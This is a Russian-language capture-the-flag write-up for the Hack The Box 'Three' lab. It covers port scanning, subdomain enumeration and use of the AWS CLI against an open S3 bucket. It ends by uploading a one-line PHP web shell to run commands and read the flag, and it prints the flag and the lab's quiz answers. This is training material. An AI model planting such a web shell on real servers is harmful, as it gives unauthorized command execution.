Найти тему
Black_Fox

Hack The Box. Starting Point. Tier 1. Three. AWS S3. RCE.

Оглавление

Рейтинг сложности: "Очень легко"
"Three" является частью лаборатории "Starting Point. Tier 1."

Задачи

Task №1

Вопрос: Сколько портов TCP открыто?
Ответ: Сканим c Nmap

Вывод nmap
Вывод nmap

Task №2

Вопрос: Каков домен адреса электронной почты, указанного в разделе «Контакты» на сайте?
Ответ: На сайте открываем раздел "Contact".

-3

Домен: thetoppers.htb

Task №3

Вопрос: В отсутствие DNS-сервера, какой файл Linux мы можем использовать для преобразования имен хостов в IP-адреса, чтобы получить доступ к веб-сайтам, которые указывают на эти имена хостов?
Ответ: /etc/hosts

Task №4

Вопрос: Какой поддомен обнаруживается при дальнейшем переборе?
Ответ: Добавим пару IP и имя хоста в /etc/hosts.

Файл /etc/hosts
Файл /etc/hosts

Проверяем в браузере - сайт загрузился

-5

Используем gobuster cо словарем для перебора субдоменов.

Gobuster
Gobuster

Обнаруживаем субдомен s3.

Task №5

Вопрос: Какая служба работает на обнаруженном субдомене?
Ответ: Amazon S3

Task №6

Вопрос: Какую утилиту командной строки можно использовать для взаимодействия со службой, работающей на обнаруженном поддомене?
Ответ: awscli

Task №7

Вопрос: Какая команда используется для настройки установки AWS CLI?
Ответ: aws configure

Task №8

Вопрос: Какая команда используется вышеуказанной утилитой для вывода списка всех сегментов S3?
Ответ: aws s3 ls

Task №9

Вопрос: Этот сервер настроен для запуска файлов, написанных на каком языке веб-скриптов?
Ответ: php

Поиск флага

Установим AWS CLI. Настроим программу через aws configure.
Во всех пунктах настройки можно ввести любой символ.

-7

Проверим cli и узнаем файлы на хранилище амазон.

-8
Если возникает ошибка можно добавить поддомен в /etc/hosts.

Находим папку thetoppers.htb

-9

Есть только файл index.php.

Нам нужно получить доступ к остальным файлам на сервере для поиска флага. Смотрим базовые команды для aws.

-10

Есть возможность загрузить файл на сервер. Запишем Web Shell на PHP в файл shell.php и загрузим его на сервер, чтоб бы получить доступ к терминалу.

Файл shell.php

<?php system($_GET["cmd"]);?>

Через команду cp загружаем файл в хранилище и проверяем его наличие.

-11

В браузере на запрос файла shell.php приходит ответ 200.

-12

Попробуем ввести команду ls

-13

Так как команда сработала и ответ пришел, значит можно выполнять любые команды на сервере. Проверим корень сервера и находим файл flag.txt.

-14

Открываем файл и находим нужный флаг.

-15
a980d99281a28d638ac68b9bf9453c2b
-16